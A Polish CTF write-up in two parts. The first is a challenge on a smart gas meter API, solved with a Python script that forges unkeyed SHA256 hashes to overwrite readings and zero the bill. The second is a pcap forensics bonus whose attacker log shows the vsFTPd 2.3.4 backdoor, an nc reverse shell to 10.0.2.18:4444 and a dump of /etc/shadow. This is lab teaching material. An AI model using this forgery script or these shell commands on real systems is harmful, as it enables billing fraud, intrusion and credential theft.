Smart Metering Challenge + bonus
S
w skrócie IoT pochodzi odSecurity
Ktoś Mądry
0x01 - Hackowanie IoT⌗
Czasami czytając genialne artykuły Phracka, które stały się ikonicznymi dziełami Hackerów spędzam trochę czasu nad rozmyslaniami, że drzewiej to i nostalgia była lepsza ;) Przed wejściem w XXI wiek mitygacje były dużo bardziej prymitywne (o ile były, bo StackGuardy, NX - czy jak go Intel reklamował XD
- a także ASRL to lata 1990-2000 jeśli chodzi o architektury x86). Prawdziwy raj dla hacker-wannabe oraz zmora administratorów. Na szczęście w dobie szerzącej się mody na IoT nowi adepci sztuki hackowania mogą uczyć się i próbować exploitować podatności systemów, które najczęściej powstają na prędce tylko po to, żeby zdążyć z releasem. Błędy logiczne, memory corruption czy wreszcie bugi w hardware to nie tylko tzw. “low hanging fruits” ale także ciekawe wyzwanie dzisiejszych czasów. Testy bezpieczeństwa urządzeń Internetu Rzeczy pozwalają powrócić do czasów beztroskiej eksploitacji bofów albo wymusić naukę podstaw elektroniki. Osobiście uważam, że to jedna z najciekawszych działek security zaraz po binary exploitation architektur takich jak x86(wszystkie bity), a zarazem bardzo ważna - skutki ataków moga być katastrofalne. Całe szczęście coraz więcej firm kładzie nacisk na testowanie swoich rozwiązań. To wymusza też na nas - badaczach bezpieczeństwa - poznanie celu. Dlatego cieszy mnie kolejne zadanie CTFowe, które dotyka działu IoT. Zadanie proste, ale dostarczające zabawy :)
0x02 - Opis zadania - co hackujemy?⌗
Wyzwanie zostało przygotowane przez Grzegorza Sowę i opisane tutaj. Sama “infrastruktura” a właściwie API, które jest wykorzystywane przez miernik znajduje się (w czasie pisania tego writeupu - 08.06.2020) tutaj. Zamysłem zadania było manipulowanie systemem tak, aby rachunek za gaz wyniósł okrągłe 0.00 PLN.
O stronie wcześniej nie słyszałem, ale widząc, że przez tydzień nikt nie podesłał rozwiązania (sic!) po prostu musiałem się z nim zmierzyć. Za główny cel postawiłem sobie zdążyć przed wypuszczeniem kolejnych podpowiedzi przez organizatorów. Następna miała trafić na stronę 05.06.2020.
Wywołując metodę GET
na /
wyzwania
~/devp/tmp ❯ curl -ksi -X GET https://gas-challenge.herokuapp.com
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 68
Etag: W/"44-w0zLfctjIs1uEUcM2KChz62Dhi4"
Date: Mon, 08 Jun 2020 07:32:47 GMT
Via: 1.1 vegur
available methods:</br>GET /counter<br>POST /counter<br>GET /invoice%
otrzymujemy listę endpointów oraz metod przez nie obsługiwanych. Nie są to wszystkie endpointy serwowane przez to RESTowe API. Co udowadnia próba słownikowego odgadnięcia innych końcówek.
~/devp/tmp ❯ gobuster dir -u https://gas-challenge.herokuapp.com -k -w ~/tools/dirb/wordlists/big.txt -t 30 -r --wildcard -s 200,301
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://gas-challenge.herokuapp.com
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /****/****/*****/wordlists/big.txt
[+] Status codes: 200,301
[+] User Agent: gobuster/3.1.0
[+] Follow Redir: true
[+] Timeout: 10s
===============================================================
2020/06/08 07:34:37 Starting gobuster in directory enumeration mode
===============================================================
/Stats (Status: 200)
/counter (Status: 200)
/invoice (Status: 200)
/stats (Status: 200)
===============================================================
2020/06/08 07:35:20 Finished
===============================================================
Dodatkowo mamy jeszcze możliwość sprawdzenia /stats
, które mówią o statystykach wykonanych zapytań:
~/devp/tmp 42s ❯ curl -ksi -X GET https://gas-challenge.herokuapp.com/stats
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 37
Etag: W/"25-TCV2EiKRuGR77MQgef+oelRp9dU"
Date: Mon, 08 Jun 2020 07:36:49 GMT
Via: 1.1 vegur
get: 153 post:0 validposts:0 solved:0%
Nie wiem czy to założenia Autora, czy może jakiś bug/specyfika heroku, ale zauważyłem, że statystyki jak i odczyty są resetowane codziennie. Wraz z resetem (który ma miejsce w godzinach wieczornych czasu CEST), przybywa kolejny pomiar.
Pomiary dostępne są pod URI /counter
, które przyjmuje także parametr day
, specyfikujący datę pomiaru. Dni są liczone od 1. Na dzień dzisiejszy pomiary kończą się na 159 o czym można się przekonać wysyłając zapytanie GET
bez wyróżnionego dnia.
# ostatni dzień
~/devp/tmp ❯ curl -ksi -X GET https://gas-challenge.herokuapp.com/counter
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 80
Etag: W/"50-JWSrp8Zt4KiljvrkkSbfnmNr5rY"
Date: Mon, 08 Jun 2020 07:41:37 GMT
Via: 1.1 vegur
{"day":159,"counter":4562,"hash":"dViMLvcGbtRlw+R6dYNyj7/U13XpElDEyZTfWIjOI4Q="}%
# pierwszy dzień
~/devp/tmp ❯ curl -ksi -X GET https://gas-challenge.herokuapp.com/counter\?day\=1
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 78
Etag: W/"4e-S+TACs9lDHctTUlLOaEiN+2mwaA"
Date: Mon, 08 Jun 2020 07:41:58 GMT
Via: 1.1 vegur
{"day":1,"counter":4249,"hash":"oujzc9j3BhMmuQz0jeNe/kXI5FwuFsCRMGdWgHgqjd4="}%
# niepoprawne zapytanie
~/devp/tmp ❯ curl -ksi -X GET https://gas-challenge.herokuapp.com/counter\?day\=0
HTTP/1.1 400 Bad Request
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Date: Mon, 08 Jun 2020 07:42:56 GMT
Content-Length: 0
Via: 1.1 vegur
Dodatkowo API udostępnia jeszcze endpoint /invoice
, który pozwala pobrać obecne rozliczenie:
~/devp/tmp ❯ curl -ksi -X GET https://gas-challenge.herokuapp.com/invoice
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 83
Etag: W/"53-paIgqbwzBd5BirV6mARKOVUi3AE"
Date: Mon, 08 Jun 2020 07:44:28 GMT
Via: 1.1 vegur
{"name":"Jan Kowalski","days":159,"comment":"Faktura za rok 2020","amount":3608.89}%
Aby rozwiązać zadanie musimy wyzerować wartość “amount”.
0x03 Poprawny POST i jesteśmy w domu⌗
Oprócz opisanych wyżej metod GET
endpoint /counter
przyjmuje także zapytania POST
. Zgodnie ze specyfikacją podaną na stronie zapytanie to ma nastepującą postać:
~/devp/tmp ❯ curl -ksi -X POST https://gas-challenge.herokuapp.com/counter -d '{"day":153,"counter":3519,"hash":"nR0NR0Yq1kTp6dxUCysxDYF8PeL7x5H0Xdf6deqFFbe="}' -H "Content-Type: application/json"
JSON wysyłany do API składa się z trzech pól. Dnia, wartości licznika oraz hasha. W przypadku, gdy zabraknie któregokolwiek API zwraca błąd:
# zapytanie bez pola day w JSONie
~/devp/tmp ❯ curl -ksi -X POST https://gas-challenge.herokuapp.com/counter -d '{"counter":3519,"hash":"nR0NR0Yq1kTp6dxUCysxDYF8PeL7x5H0Xdf6deqFFbe="}' -H "Content-Type: application/json"
HTTP/1.1 400 Bad Request
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 58
Etag: W/"3a-uMBGfFce/4H5dzn9QsAi3ojq7RM"
Date: Mon, 08 Jun 2020 07:54:59 GMT
Via: 1.1 vegur
invalid json content - expected fields: day, counter, hash%
Zawartość zapytania musi więc zawierać te trzy pola. Dodatkowo warto zauważyć jedną ciekawą rzecz. Możemy zrobić POST
na dowolny dzień z zakresu [1, N), gdzie N to liczba pomiarów. Zapytanie dla dnia N-tego zawsze kończy się błędem, nawet robiąć POST
z danymi, które są zwracane przez API. Nie wiem czy to bug czy zamierzone działanie. Stawiam, że założenia projektowe, służące do ukierunkowania na jedno prawidłowe rozwiązanie.
# POST N-tego dnia
~/devp/tmp ❯ curl -ksi -X POST https://gas-challenge.herokuapp.com/counter -d '{"day":159,"counter":4562,"hash":"dViMLvcGbtRlw+R6dYNyj7/U13XpElDEyZTfWIjOI4Q="}' -H "Content-Type: application/json"
HTTP/1.1 400 Bad Request
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 21
Etag: W/"15-JLxC8zrLD+GxFN8bOq29RGyBkZ8"
Date: Mon, 08 Jun 2020 08:05:23 GMT
Via: 1.1 vegur
invalid counter value%
W odróżnieniu od powyższego przypadku zapytanie dla dnia N-1 czyli 158 powiedzie się:
~/devp/tmp ❯ curl -ksi -X POST https://gas-challenge.herokuapp.com/counter -d '{"day":158,"counter":4559,"hash":"PfKcgUq+0untCd1D4PPCTiuTpzRUddf3CrVj6llRJro="}' -H "Content-Type: application/json"
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 2
Etag: W/"2-eoX0dku9ba8cNUXvu/DyeabcC+s"
Date: Mon, 08 Jun 2020 08:06:05 GMT
Via: 1.1 vegur
ok%
Jednocześnie każda zmiana wartości w wysyłanym JSONie powoduje błąd. Niewielka zmiana licznika, powoduje, że zapytanie zostaje odrzucone z powodu nieprawidłowej wartości hasha:
~/devp/tmp ❯ curl -ksi -X POST https://gas-challenge.herokuapp.com/counter -d '{"day":158,"counter":4558,"hash":"PfKcgUq+0untCd1D4PPCTiuTpzRUddf3CrVj6llRJro="}' -H "Content-Type: application/json"
HTTP/1.1 400 Bad Request
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 12
Etag: W/"c-+XUO5+u9bWlqZyZo2CUI6BPH5VY"
Date: Mon, 08 Jun 2020 08:08:46 GMT
Via: 1.1 vegur
invalid hash%
Jednocześnie gdy w JSONie zostanie podany dzień spoza zakresu serwer zwraca analogiczny błąd:
~/devp/tmp ❯ curl -ksi -X POST https://gas-challenge.herokuapp.com/counter -d '{"day":200,"counter":4558,"hash":"PfKcgUq+0untCd1D4PPCTiuTpzRUddf3CrVj6llRJro="}' -H "Content-Type: application/json"
HTTP/1.1 400 Bad Request
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 17
Etag: W/"11-X5BWUjuTftsl7DgXOMCfA14kts4"
Date: Mon, 08 Jun 2020 08:13:56 GMT
Via: 1.1 vegur
invalid day value%
Podając pomiar dla poprawnego dnia, którego wartość poniżej odczytu z nia poprzedniego powoduje również błąd:
~/devp/tmp ❯ curl -ksi -X GET https://gas-challenge.herokuapp.com/counter\?day\=157
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 80
Etag: W/"50-fqWH35Jz3osHJmEyHykezow+yFw"
Date: Mon, 08 Jun 2020 08:14:57 GMT
Via: 1.1 vegur
{"day":157,"counter":4557,"hash":"9nFJCfjXK3N8SVjMHOrehu+743/pVll12SLV8074d0Q="}
~/devp/tmp ❯ curl -ksi -X POST https://gas-challenge.herokuapp.com/counter -d '{"day":158,"counter":4556,"hash":"PfKcgUq+0untCd1D4PPCTiuTpzRUddf3CrVj6llRJro="}' -H "Content-Type: application/json"
HTTP/1.1 400 Bad Request
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 21
Etag: W/"15-JLxC8zrLD+GxFN8bOq29RGyBkZ8"
Date: Mon, 08 Jun 2020 08:15:28 GMT
Via: 1.1 vegur
invalid counter value%
Podsumowując:
- musimy wykonać POST
- POST jest walidowany w kolejności: day, counter, hash
- nie można podać wartości licznika mniejszego niż dzień poprzedni
- nie możemy zmienić ostatniego (najnowszego) odczytu
Czyli nie uda się “wyzerować” odczytów licznika dzień po dniu, ponieważ zawsze będzie najnowszy dzień o polu counter, którego nie da się zmienić.
0x04 Hash - jaki hash?⌗
Każdy odczyt oprócz wartości i dnia posiada w JSONie zdefiniowane pole hash
będące wartoścą 44 znakową. Po sprawdzeniu kilku kolejnych odczytów, nie jest trudne domyślić się, że to ciąg kodowany w base64. Próba jego zdekodowania kończy się jednak niepowodzeniem. Otrzymujemy ciąg bajtów spoza ASCII.
~/devp/tmp ❯ echo -ne PfKcgUq+0untCd1D4PPCTiuTpzRUddf3CrVj6llRJro= | base64 -d
=�J��� �C��N+��4Tu�
�c�YQ&�%
Wykorzystując CyberChef
link możemy sprawdzić co kryje się pod tymi bajtami.
Pierwszym i oczywistym educated guess
, jest postawienie na SHA256, który w kodowaniu base64 ma długość właśnie 44 znaków (base64 wykorzystuje 6 bitów na znak, co przy 256 bitach i paddingu daje 44).
Należy teraz sprawdzić czy jest możliwość, aby samemu generować poprawny hash dla dowolnego zapytania. Na pierwszy rzut oka hash jest zależny od dnia/licznika. Te dwie wartości są w posiadaniu postronnego użytkownika sieci, który wykona zwykłe zapytanie GET
. Oczywiście do shashowania wartości może być wykorzystywany jeszcze dowolny sekret. Poniższy kod może zostać w sposób trywialny dostosowany do takiej możliwości, jednak nie było takiej potrzeby. W związku z tym, że format JSON nie ma postaci kanonicznej (albo w chwili pisania tego writeupu autor nie jest o nim świadomy), skrypt wykorzystuje kilka logicznych formatów wejściowych dla funkcji hashującej. Są to pomysły zaczerpnięte z tego posta na StackOverflow.
_SCHEMAS_ = [
'\"L1\":l1val,\"L2\":l2val',
'\"L1\":l1val, \"L2\":l2val',
'\"L1\":l1val , \"L2\":l2val',
'\"L1\": l1val,\"L2\": l2val',
'\"L1\": l1val, \"L2\": l2val',
'\"L1\" : l1val,\"L2\" : l2val',
'\"L1\" : l1val ,\" L2\" : l2val',
'{\"L1\":l1val,\"L2\":l2val}',
'{\"L1\":l1val, \"L2\":l2val}',
'{\"L1\":l1val , \"L2\":l2val}',
'{\"L1\": l1val,\"L2\": l2val}',
'{\"L1\": l1val, \"L2\": l2val}',
'{\"L1\" : l1val,\"L2\" : l2val}',
'{\"L1\" : l1val ,\" L2\" : l2val}',
'{ \"L1\":l1val,\"L2\":l2val }',
'{ \"L1\":l1val, \"L2\":l2val }',
'{ \"L1\":l1val , \"L2\":l2val }',
'{ \"L1\": l1val,\"L2\": l2val }',
'{ \"L1\": l1val, \"L2\": l2val }',
'{ \"L1\" : l1val,\"L2\" : l2val }',
'{ \"L1\" : l1val ,\" L2\" : l2val }',
'\"L2\":l2val,\"L1\":l1val',
'\"L2\":l2val, \"L1\":l1val',
'\"L2\":l2val , \"L1\":l1val',
'\"L2\": l2val,\"L1\": l1val',
'\"L2\": l2val, \"L1\": l1val',
'\"L2\" : l2val,\"L1\" : l1val',
'\"L2\" : l2val ,\" L1\" : l1val',
'{\"L2\":l2val,\"L1\":l1val}',
'{\"L2\":l2val, \"L1\":l1val}',
'{\"L2\":l2val , \"L1\":l1val}',
'{\"L2\": l2val,\"L1\": l1val}',
'{\"L2\": l2val, \"L1\": l1val}',
'{\"L2\" : l2val,\"L1\" : l1val}',
'{\"L2\" : l2val ,\" L1\" : l1val}',
'{ \"L2\":l2val,\"L1\":l1val }',
'{ \"L2\":l2val, \"L1\":l1val }',
'{ \"L2\":l2val , \"L1\":l1val }',
'{ \"L2\": l2val,\"L1\": l1val }',
'{ \"L2\": l2val, \"L1\": l1val }',
'{ \"L2\" : l2val,\"L1\" : l1val }',
'{ \"L2\" : l2val ,\" L1\" : l1val }',
'L1:l1val,L2:l2val',
'L1:l1val, L2:l2val',
'L1:l1val , L2:l2val',
'L1: l1val,L2: l2val',
'L1: l1val, L2: l2val',
'L1 : l1val,L2 : l2val',
'L1 : l1val , L2 : l2val',
'{L1:l1val,L2:l2val}',
'{L1:l1val, L2:l2val}',
'{L1:l1val , L2:l2val}',
'{L1: l1val,L2: l2val}',
'{L1: l1val, L2: l2val}',
'{L1 : l1val,L2 : l2val}',
'{L1 : l1val , L2 : l2val}',
'{ L1:l1val,L2:l2val }',
'{ L1:l1val, L2:l2val }',
'{ L1:l1val , L2:l2val }',
'{ L1: l1val,L2: l2val }',
'{ L1: l1val, L2: l2val }',
'{ L1 : l1val,L2 : l2val }',
'{ L1 : l1val , L2 : l2val }',
'L2:l2val,L1:l1val',
'L2:l2val, L1:l1val',
'L2:l2val , L1:l1val',
'L2: l2val,L1: l1val',
'L2: l2val, L1: l1val',
'L2 : l2val,L1 : l1val',
'L2 : l2val , L1 : l1val',
'{L2:l2val,L1:l1val}',
'{L2:l2val, L1:l1val}',
'{L2:l2val , L1:l1val}',
'{L2: l2val,L1: l1val}',
'{L2: l2val, L1: l1val}',
'{L2 : l2val,L1 : l1val}',
'{L2 : l2val , L1 : l1val}',
'{ L2:l2val,L1:l1val }',
'{ L2:l2val, L1:l1val }',
'{ L2:l2val , L1:l1val }',
'{ L2: l2val,L1: l1val }',
'{ L2: l2val, L1: l1val }',
'{ L2 : l2val,L1 : l1val }',
'{ L2 : l2val , L1 : l1val }',
]
def brute(counter, day, hsh):
for sc in _SCHEMAS_:
chsh = calc_hash(counter, day, sc)
print(f'{hsh} = {chsh}?')
if hsh == chsh:
print(f'[+] Found schema! :{sc}')
return sc
def calc_hash(counter, day, schema):
# print(schema.replace('L1', 'counter').replace('l1val', str(counter)).replace('L2', 'day').replace('l2val', str(day)).encode('utf-8'))
return b64e(sha256sum(schema.replace('L1', 'counter').replace('l1val', str(counter)).replace('L2', 'day').replace('l2val', str(day)).encode('utf-8')))
0x05 Zerujemy! (licznik)⌗
Rzeczą oczywistą dla Czytelnika powinna być forma ataku. Skoro nie można wyzerować (patrz 0x03
) pomiarów należy zastosować inny trick. Jak obliczana jest należność za korzystanie z gazu? Zapewne od wartości końcowej w okresie rozliczenia odejmowana jest wartość z jego początku. Tym samym wyliczamy ilość zużytego gazu. Jeśli uda się sprawić aby pierwszy i ostatni pomiar były identyczne, to Jan Kowalski nie zapłaci ani grosza.
Wystarczy prosta pętla for oraz funkcje z listingu wyżej
def solve():
c, txt = counter()
txt = json.loads(txt)
md_day = txt.get('day', None)
if md_day is None:
print('[-] Cannot obtain the last day')
return
else:
print(f'[+] {txt}')
md_hash = txt.get('hash', None)
md_counter = txt.get('counter', None)
schema = brute(md_counter, md_day, md_hash)
print(f'[+] Overriding!')
url = urllib.parse.urljoin(_BASE_URL_, _C_ENDP_)
for i in reversed(range(1, int(md_day))):
hsh = calc_hash(md_counter, i, schema)
payload = {
"counter": int(md_counter),
"day": int(i),
"hash": hsh,
}
print(payload)
print(url)
r = requests.post(url, headers=_HEADERS_, data=json.dumps(payload))
if r.status_code == 200:
print(f'[+] {payload} succeded!')
else:
print(f'[-] ERROR: {r.status_code}, {r.text}')
url = urllib.parse.urljoin(_BASE_URL_, _I_ENDP_)
r = requests.get(u
if r.status_code == 200:
print(f'[+] Done! {r.text}')
if __name__ == '__main__':
solve()
I otrzymujemy odpowiedź od serwera:
<html><body><b>{"name":"Jan Kowalski","days":156,"comment":"Brawo, jesteś wojownikiem, który wygrał z miernikiem.","amount":0}</b></body></html>
3666.54
{"name":"Jan Kowalski","days":156,"comment":"Faktura za rok 2020","amount":3666.54}
curl -ksi -X GET https://gas-challenge.herokuapp.com/stats
HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 42
Etag: W/"2a-T2u8n8OuVFmstuEtGFZaJOB/RGs"
Date: Thu, 04 Jun 2020 19:51:40 GMT
Via: 1.1 vegur
get: 1997 post:745 validposts:723 solved:1
0x06 Podsumowanie Smart Metering Challenge⌗
Zadanie zajęło mi kilkanaście minut, ale skłoniło do głębszego zapoznania się z algorytmami MAC (Message Authentication Code), bo początkowo obstawiałem jakąś błędną implementację MAC/HMAC. Maila wysłałem o godzinie 21:53 CEST i okazuje się, że byłem pierwszy :) więc udało się wygrać. Serdecznie dziękuję za fajne wyzwanie :)
W kolejnym tygodniu organizatorzy tego zadania udostępnili kolejne zadanie tutaj. Udało mi się je rozwiązać jeszcze w trakcie trwania webinaru, po czym okazało się, że albo nie zrozumiałem dokładnie czym są flagi, albo ktoś się na webinarze przejęzyczył. Natomiast post wszystko klaryfikuje i udało się dosłać brakujące rozwiązanie, co znowu zagwarantowało TOP1 zgłaszających. Zadanie jest na tyle proste i krótkie, że nie będę tworzył następnego postu tylko opiszę je poniżej.
0x07 Bonus - pcapng⌗
Tym razem wyzwanie było z pogranicza dziedziny forensics
, która nigdy nie była moją mocną stroną, natomiast jest ono na tyle trywialne, że można je rozwiązać kilkoma kliknięciami.
Na wejściu otrzymujemy plik challenge.pcapng
. Autorzy zalecali pobranie Wiresharka (dobrze, że nie zdradzili od razu flag (; ), natomiast część zadania dużo łatwiej wykonać w Network Monitorze, co oczywiście nie jest obowiązkowe i wspomniany Wireshark czy t-shark sobie bez problemu poradzą.
Pierwszym krokiem, aby wrzucić pcapng do NM była konwersja z pliku pcapng do zwykłego pcapa, ponieważ darmowa wersja Network Monitora wspiera ten format zapisu.
Pcapng to pcap-’next-generation’, gdyby kogoś zainteresowały różnice to proponuję te dwa krótkie dokumenty 1 i 2. Natomiast nie trzeba znać różnic w tych formatach aby móc konwertować je między sobą. Można skorzystać z dowolnego serwisu, który z tego korzysta. Można też wykorzystać t-sharka:
tshark -F pcap -r {pcapng file} -w {pcap file}
Przez co otrzymujemy gotowy pcap. Wrzucony w Network Minera pokaże nam taki ekran:
Co pomaga odpowiedzieć na pytanie kto był atakującym, kto ofiarą i z jakich systemów korzystali.
Dodatkowo w zakładce files:
Mamy plik flag3, który posiada zakodowaną w BASE64 flagę Nemezis
.
~/devp/tmp ❯ cat flag
#Aby uzyskac flage, rozkoduj ponizszy ciag znakow.
#hint: flaga to mityczna postac
TmVtZXppcw=
~/devp/tmp ❯ echo -ne "TmVtZXppcw=" | base64 -d
Nemezis
To niestety nie wystarczyło do rozwiązania zadania i trzeba było opisać jeszcze scenariusz ataku oraz wyciągnąć flagę2. Grep na stringsach wyzwania nie pokazywał innych ciągów “flag”, co było dość podejrzane. Coś mnie podkusiło aby sprawdzić bardziej h4xi0rski3 nazwy, takie jak fl4g
i moim oczom ukazało się
fl4g2:!:18415:0:99999:7:::
Co było drugą flagą. Teraz wystarczyło wyszukać te bajty w ramkach pcapa i podać ich numery.
Pozostała pierwsza czyli analiza scenariusza ataku. Pierwsze co rzuca się w oczy to dość dużo prób połączeń na wszystkie porty. Jest to oczywiście skan Nmapem co potwierdza kolejny prosty grep:
<p>The requested URL /nmaplowercheck1591109516 was not found on this server.</p>
Teraz możemy wrzucić plik w Wiresharka.
Jest to jeden z ciągów, który pozwala stwierdzić, że dany host jest skanowany tym właśnie narzędziem. Po drodze było kilka innych i serdecznie zachęcam do manualnego sprawdzenia.
Co się zaś tyczy dalszego rozwoju wydarzeń, warto skorzystać z opcji Follow TCP stream
na strumieniu TCP oraz przejść się po kolejnych. Okazuje się, że nawiązane jest dłuższe połączenie. To próba logowania do FTP i wrzucenie pliku flag3. Przy okazji rzucić się w oczy może próba zalogowania do telnetu oraz późniejsze odwołanie do portu 6200
. Otóż vsFTPd w wersji 2.3.4 jest zbackdoorowany. Proba logowania z wykorzystaniem ciągu :)
powoduje rozpoczęcie nasłuchiwania na porcie 6200 przez proces z uprawnieniami roota. Poniżej polecenia wykonywane w czasie działania atakującego przez tego shella.
Poniżej log działalności atakującego.
220 (vsFTPd 2.3.4)
USER root
331 Please specify the password.
PASS
530 Login incorrect.
SYST
530 Please login with USER and PASS.
QUIT
221 Goodbye.
# próby z ftp
220 (vsFTPd 2.3.4)
USER anonymous
331 Please specify the password.
PASS
230 Login successful.
SYST
215 UNIX Type: L8
PORT 10,0,2,18,134,155
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 10,0,2,18,221,197
200 PORT command successful. Consider using PASV.
RETR flag3
150 Opening BINARY mode data connection for flag3 (97 bytes).
226 Transfer complete.
QUIT
221 Goodbye.
#Aby uzyskac flage, rozkoduj ponizszy ciag znakow.
#hint: flaga to mityczna postac
TmVtZXppcw=
220 (vsFTPd 2.3.4)
USER 7HWPr:) # backdor
331 Please specify the password.
PASS i
id
uid=0(root) gid=0(root)
nohup >/dev/null 2>&1
echo kKSjS4rQdtIGsu62
kKSjS4rQdtIGsu62
iid
sh: line 4: iid: command not found
id
uid=0(root) gid=0(root)
name -a
sh: line 6: name: command not found
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
python -c "import pty;pty.spawn('/bin/bash')"
[1] Exit 1 nc -nv -e /bin/bash 10.0.2.18 4444 2> /dev/null
root@metasploitable:/# cd /home
cd /home
root@metasploitable:/home# ls
ls
.[00m.[01;34mftp.[00m .[01;34mmsfadmin.[00m .[01;34mservice.[00m .[01;34muser.[00m
.[mroot@metasploitable:/home# cd msfadmin
cd msfadmin
root@metasploitable:/home/msfadmin# ls
ls
.[00m.[01;34mvulnerable.[00m
.[mroot@metasploitable:/home/msfadmin# cd ..
cd ..
root@metasploitable:/home# ls
ls
.[00m.[01;34mftp.[00m .[01;34mmsfadmin.[00m .[01;34mservice.[00m .[01;34muser.[00m
.[mroot@metasploitable:/home# cd service
cd service
root@metasploitable:/home/service# ls
ls
.[00m.[mroot@metasploitable:/home/service# cd ..
cd ..
root@metasploitable:/home# cd user
cd user
root@metasploitable:/home/user# ls
ls
.[00m.[mroot@metasploitable:/home/user# cd ..
cd ..
root@metasploitable:/home# cd ftp
cd ftp
root@metasploitable:/home/ftp# ls
ls
.[00m.[00mflag3.[00m
.[mroot@metasploitable:/home/ftp# cat flag3
cat flag3
#Aby uzyskac flage, rozkoduj ponizszy ciag znakow.
#hint: flaga to mityczna postac
TmVtZXppcw=
root@metasploitable:/home/ftp# cd ..
cd ..
root@metasploitable:/home# cat /etc/issue
cat /etc/issue
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
root@metasploitable:/home# cat /etc/shadow
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
fl4g2:!:18415:0:99999:7:::
root@metasploitable:/home# crontab -l
crontab -l
no crontab for root
root@metasploitable:/home# netstat -antp
netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN 4483/xinetd
tcp 0 0 0.0.0.0:37056 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN 4483/xinetd
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN 4483/xinetd
tcp 0 0 0.0.0.0:48456 0.0.0.0:* LISTEN 4391/rpc.mountd
tcp 0 0 0.0.0.0:8009 0.0.0.0:* LISTEN 4579/jsvc
tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN 4634/unrealircd
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 4223/mysqld
tcp 0 0 0.0.0.0:1099 0.0.0.0:* LISTEN 4616/rmiregistry
tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN 4634/unrealircd
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 4467/smbd
tcp 0 0 0.0.0.0:5900 0.0.0.0:* LISTEN 4637/Xtightvnc
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 3709/portmap
